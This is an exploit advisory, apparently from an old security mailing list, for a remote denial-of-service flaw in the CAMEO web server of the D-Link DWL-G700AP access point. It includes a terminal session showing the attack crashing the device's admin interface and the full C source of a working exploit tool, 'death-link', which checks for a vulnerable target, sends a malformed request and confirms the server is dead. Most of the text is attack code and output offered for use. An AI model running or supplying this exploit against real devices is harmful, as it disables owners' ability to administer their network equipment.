author: l0om page: www.excluded.org product: D-Link DWL-G700AP firmware: tested on v2.00 and the latest v2.01 The DWL-G700AP is an accesspoint from D-Link and the only way to configure it is the http service which is managed from a httpd called "CAMEO". This webserver is very easy to DoS because all you have to do is send the AP the following string: "GET nn". I really have been thinking how bad you have to code to shutdown the whole service with one request which is handeld by one child process. my guess is that the parent httpd tries to log the request and runs into a "segmentation fault" while reading the "GET", "POST" or whatever request with no filename. PoC exploit follows just for phun and no profit. best wishes everyone and have phun! l0om ---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v (UNKNOWN) [192.168.0.50] 80 (http) open punt! l0om@badhost:~/death-link> ./death-link -h death-link - written by l0om WWW.EXCLUDED.ORG DoS CAMEO-httpd D-Link DWL-G700AP death-link [options] <ip-address> -o: ONLY CHECK for valid target -c: check for valid target -h: help l0om@badhost:~/death-link> ./death-link -c 192.168.0.50 death-link - written by l0om WWW.EXCLUDED.ORG DoS CAMEO-httpd D-Link DWL-G700AP checking target... done! valid victim detected sending DoS... done! checking webserver status... CAMEO-httpd DEAD l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v (UNKNOWN) [192.168.0.50] 80 (http) : Connection refused l0om@badhost:~/death-link> ./death-link -o 192.168.0.50 death-link - written by l0om WWW.EXCLUDED.ORG DoS CAMEO-httpd D-Link DWL-G700AP checking target... faild! webserver already dead? ---8<--snip---8<-- death-link.c --8<--snip---8<--snip /* death-link.c ------------------------ written by l0om WWW.EXCLUDED.ORG ------------------------ exploit tested on firmware: v2.00 and the latest v2.01 remote DoS exploit for the CAMEO-httpd which is running on the D-Link Accesspoint DWL-G700AP. After executing this the accesspoint cannot be configured anymore because the only way to administrate the AP is the administration with your browser. you have to reboot the box to get the httpd started again. have phun! // some greetings maximilian, Prof. J. Dealer, Theldens, Commander Jansen, ole, detach, mattball, molke, murfie, vy99 excluded.org people, IT31 people // the guys who made exploiting possible with buying this AP joerres, hermanns, schubert */ #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <sys/socket.h> #define DOSSTRING "GET nn" #define TARGET "CAMEO-httpd" #define DESTPORT 80 int alive(char *ip); int check_httpd(char *ip); void help(void); void header(void); int DoS(char *ip); int main(int argc, char **argv) { int fd, i, check = 0; char *ip = NULL; header(); if(argc > 1) for(i = 1; i < argc; i++) if(argv[i][0] == '-') switch(argv[i][1]) { case 'o': check = 2; break; case 'c': check = 1; break; case 'h': help(); break; default: printf("t>> %s << unknown optionn",argv[i]); exit(-1); } else ip = argv[i]; if(ip == NULL) help(); if(check) { printf("tchecking target... "); fflush(stdout); i = check_httpd(ip); if(i <= 0) { printf("faild! "); if(!i) printf("invalid target webservern"); else printf("webserver already dead?n"); exit(-1); } else printf("done! valid victim detectedn"); if(check == 2) return 0; } printf("tsending DoS... "); fflush(stdout); if(DoS(ip) <= 0) { printf("faild!n"); return -1; } else printf("done!n"); sleep(1); printf("tchecking webserver status... "); fflush(stdout); if(!alive(ip)) printf("%s DEADn",TARGET); else printf("%s on %s is still alive :( n",TARGET,ip); return 0; } int check_httpd(char *ip) { int sockfd, nbytes, len, i = 0; char buf[500], pattern[] = TARGET, *ptr; struct sockaddr_in servaddr; if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(-1); } servaddr.sin_family = AF_INET; servaddr.sin_port = htons(DESTPORT); servaddr.sin_addr.s_addr = inet_addr(ip); if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) return -1; if(!write(sockfd, "GET / HTTP/1.0nn", 16)) return 0; else nbytes = read(sockfd, buf, 500); len = strlen(pattern); ptr = buf; while(nbytes--) { if(*ptr == pattern[i]) i++; else i = 0; if(i == len) return 1; else ptr++; } return 0; } int alive(char *ip) { int sockfd, nbytes, len, i = 0; char buf[500], pattern[] = TARGET, *ptr; struct sockaddr_in servaddr; if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(-1); } servaddr.sin_family = AF_INET; servaddr.sin_port = htons(DESTPORT); servaddr.sin_addr.s_addr = inet_addr(ip); if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) return 0; else return 1; } int DoS(char *ip) { int sockfd, nbytes, len, i = 0; char buf[500], pattern[] = TARGET, *ptr; struct sockaddr_in servaddr; if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(-1); } servaddr.sin_family = AF_INET; servaddr.sin_port = htons(DESTPORT); servaddr.sin_addr.s_addr = inet_addr(ip); if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) return 0; else return(write(sockfd, DOSSTRING, strlen(DOSSTRING))); } void help(void) { printf("tdeath-link [options] <ip-address>n"); printf("t-o: ONLY CHECK for valid targetn"); printf("t-c: check for valid targetn"); printf("t-h: helpn"); exit(0); } void header(void) { printf("tdeath-link - written by l0omn"); printf("t WWW.EXCLUDED.ORGn"); printf("tDoS %s D-Link DWL-G700APnn",TARGET); }